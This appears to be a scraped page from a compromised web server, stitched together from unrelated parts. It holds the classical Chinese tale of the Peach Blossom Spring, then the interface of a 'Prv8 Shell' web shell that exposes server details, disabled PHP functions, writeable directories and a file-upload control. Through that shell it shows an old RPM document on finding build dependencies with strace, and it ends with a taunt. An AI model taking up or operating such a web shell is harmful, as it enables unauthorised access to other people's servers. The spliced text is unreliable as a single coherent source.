晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /proc/thread-self/root/usr/share/doc/rpm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/usr/share/doc/rpm/builddependencies
/*! \page builddependencies Generating build dependencies automatically

As we start updating packages for the next Red Hat distro, I'd like to see
packages start to make use of build dependencies. Basically build
dependencies are just like install dependencies, but they are resolved
against the build system just after parsing the spec file. Syntactically,
build dependencies look just like install dependencies in a spec file with
"Build" prefixed:

\verbatim
	BuildPreReq:
	BuildRequires:
	BuildConflicts:
\endverbatim

All the above dependencies include versions, files, existence/range tests, etc.
The build dependency checking can also be turned off with --nodeps if necessary
just like install dependency checking can. Eventually, build dependencies will
be automated in rpm, but the major impediment to that effort is the engineering
required to maintain the pretense that src rpm's are "noarch".

Meanwhile, I've added a package called "InDependence-1.0" to powertools-6.2
that may be of use in detecting build dependencies that can be added to
spec files as part of rebuilding packages for Red Hat 6.2.

Here's a short example of how to generate the package/file names that were used
while building gnorpm using InDependence:

\verbatim
	rpm -U /mnt/redhat/comps/powertools/6.2/i386/InDependence-1.0-3.i386.rpm
	rpm -i /mnt/redhat/comps/dist/6.2/SRPMS/gnorpm-0.9-11.src.rpm
	cd /usr/src/redhat/SPECS
	dep -detail rpmbuild -ba gnorpm.spec >& xxx
	...
	(the build will take longer since both dep and strace are pigs)
	...
	grep -- '::' xxx > yyy
\endverbatim

\verbatim
Aside:	The dep perl wrapper is a "pig" only because it's exec'ing
		rpm -qf <filename>
        in order to turn filenames into package names. There are easier/faster
	ways to get this information...

	There's no way to speed up the
		/sbin/strace -q -etrace=open,execve -o ...
	command itself. The eventual implementation in rpm will snatch the
	same open/execve syscalls using LD_PRELOAD.

	Patches cheerfully accepted :-)
\endverbatim

Here's what's in yyy (\<packagename\>::\<filename\> format):

\verbatim
	ORBit-devel-0.4.95-2::/usr/bin/orbit-config 
	XFree86-libs-3.3.5-6::/usr/X11R6/lib/libICE.so.6 
	XFree86-libs-3.3.5-6::/usr/X11R6/lib/libSM.so.6 
	XFree86-libs-3.3.5-6::/usr/X11R6/lib/libX11.so.6 
	XFree86-libs-3.3.5-6::/usr/X11R6/lib/libXext.so.6 
	audiofile-0.1.9-1::/usr/lib/libaudiofile.so.0 
	autoconf-2.13-5::/usr/bin/autoconf 
	autoconf-2.13-5::/usr/bin/autoheader 
	autoconf-2.13-5::/usr/share/autoconf/acgeneral.m4 
	autoconf-2.13-5::/usr/share/autoconf/autoconf.m4f 
	automake-1.4-5::/usr/bin/aclocal 
	automake-1.4-5::/usr/bin/automake 
	bash-1.14.7-16::/bin/sh 
	bash-1.14.7-16::/etc/bashrc 
	binutils-2.9.1.0.23-7::/usr/bin/strip 
	binutils-2.9.1.0.23-7::/usr/lib/libbfd-2.9.1.0.24.so 
	binutils-2.9.1.0.23-7::/usr/lib/libopcodes-2.9.1.0.24.so 
	bzip2-0.9.5c-1::/usr/lib/libbz2.so.0 
	dev-2.7.10-2::/dev/null 
	diffutils-2.7-16::/usr/bin/cmp 
	egcs-1.1.2-25::/usr/bin/gcc 
	egcs-1.1.2-25::/usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs 
	esound-0.2.14-1::/usr/lib/libesd.so.0 
	file-3.27-3::/usr/bin/file 
	file-3.27-3::/usr/share/magic 
	fileutils-4.0-8::/bin/chgrp 
	fileutils-4.0-8::/bin/chmod 
	fileutils-4.0-8::/bin/chown 
	fileutils-4.0-8::/bin/cp 
	fileutils-4.0-8::/bin/ln 
	fileutils-4.0-8::/bin/ls 
	fileutils-4.0-8::/bin/mkdir 
	fileutils-4.0-8::/bin/mv 
	fileutils-4.0-8::/bin/rm 
	fileutils-4.0-8::/usr/bin/install 
	findutils-4.1-32::/usr/bin/xargs 
	gawk-3.0.4-1::/bin/awk 
	gawk-3.0.4-1::/bin/gawk 
	gettext-0.10.35-13::/usr/bin/xgettext 
	glib-1.2.5-1::/usr/lib/libglib-1.2.so.0 
	glib-1.2.5-1::/usr/lib/libgmodule-1.2.so.0 
	glib-devel-1.2.5-1::/usr/bin/glib-config 
	glibc-2.1.2-13::/etc/localtime 
	glibc-2.1.2-13::/etc/nsswitch.conf 
	glibc-2.1.2-13::/lib/ld-linux.so.2 
	glibc-2.1.2-13::/lib/libc.so.6 
	glibc-2.1.2-13::/lib/libcrypt.so.1 
	glibc-2.1.2-13::/lib/libdb.so.2 
	glibc-2.1.2-13::/lib/libdl.so.2 
	glibc-2.1.2-13::/lib/libm.so.6 
	glibc-2.1.2-13::/lib/libnsl.so.1 
	glibc-2.1.2-13::/lib/libnss_dns.so.2 
	glibc-2.1.2-13::/lib/libnss_files.so.2 
	glibc-2.1.2-13::/lib/libnss_nis.so.2 
	glibc-2.1.2-13::/lib/libnss_nisplus.so.2 
	glibc-2.1.2-13::/lib/libresolv.so.2 
	glibc-2.1.2-13::/usr/bin/ldd 
	gnome-libs-1.0.54-1::/usr/lib/libart_lgpl.so.2 
	gnome-libs-1.0.54-1::/usr/lib/libgnome.so.32 
	gnome-libs-1.0.54-1::/usr/lib/libgnomesupport.so.0 
	gnome-libs-1.0.54-1::/usr/lib/libgnomeui.so.32 
	gnome-libs-devel-1.0.54-1::/usr/bin/gnome-config 
	grep-2.3-2::/bin/egrep 
	grep-2.3-2::/bin/fgrep 
	grep-2.3-2::/bin/grep 
	gtk+-1.2.5-2::/usr/lib/libgdk-1.2.so.0 
	gtk+-1.2.5-2::/usr/lib/libgtk-1.2.so.0 
	imlib-1.9.7-1::/usr/lib/libgdk_imlib.so.1 
	libghttp-1.0.4-1::/usr/lib/libghttp.so.1 
	libtool-1.3.3-1::/usr/bin/libtoolize 
	libtool-1.3.3-1::/usr/share/libtool/config.guess 
	libtool-1.3.3-1::/usr/share/libtool/config.sub 
	libtool-1.3.3-1::/usr/share/libtool/ltconfig 
	libtool-1.3.3-1::/usr/share/libtool/ltmain.sh 
	libxml-1.4.0-1::/usr/lib/libxml.so.1 
	libxml-devel-1.4.0-1::/usr/bin/xml-config 
	m4-1.4-12::/usr/bin/m4 
	make-3.77-6::/usr/bin/make 
	mktemp-1.5-1::/bin/mktemp 
	net-tools-1.53-1::/bin/hostname 
	patch-2.5-9::/usr/bin/patch 
	rootfiles-5.2-5::/root/.bashrc 
	rpm-3.0.4-0.16::/bin/rpm 
	rpm-3.0.4-0.16::/usr/lib/librpm.so.0 
	rpm-3.0.4-0.16::/usr/lib/rpm/find-provides 
	rpm-3.0.4-0.16::/usr/lib/rpm/find-requires 
	rpm-3.0.4-0.16::/usr/lib/rpm/macros 
	rpm-3.0.4-0.16::/usr/lib/rpm/rpmpopt 
	rpm-3.0.4-0.16::/usr/lib/rpm/rpmrc 
	sed-3.02-4::/bin/sed 
	setup-2.0.5-1::/etc/group 
	setup-2.0.5-1::/etc/host.conf 
	setup-2.0.5-1::/etc/passwd 
	sh-utils-2.0-1::/bin/basename 
	sh-utils-2.0-1::/bin/false 
	sh-utils-2.0-1::/bin/sleep 
	sh-utils-2.0-1::/bin/true 
	sh-utils-2.0-1::/usr/bin/expr 
	sh-utils-2.0-1::/usr/bin/id 
	texinfo-3.12h-2::/usr/bin/makeinfo 
	textutils-2.0-2::/bin/cat 
	textutils-2.0-2::/bin/sort 
	textutils-2.0-2::/usr/bin/cut 
	textutils-2.0-2::/usr/bin/tr 
	zlib-1.1.3-5::/usr/lib/libz.so.1 
\endverbatim

The information can be used to generate build prerequisites. What is still
needed is a sensible approach on

\verbatim
	1) eliminating obvious common dependencies (e.g. libtool, egcs).
	2) identifying (and removing for now) per-platform build dependencies.
	3) deciding on whether to add the build dependency on a file or on the
	package that contains the file.
	4) if adding a dependency on a package, choosing version ranges as
	appropriate.
\endverbatim

but that's up to individual packagers.

*/

haha - 2025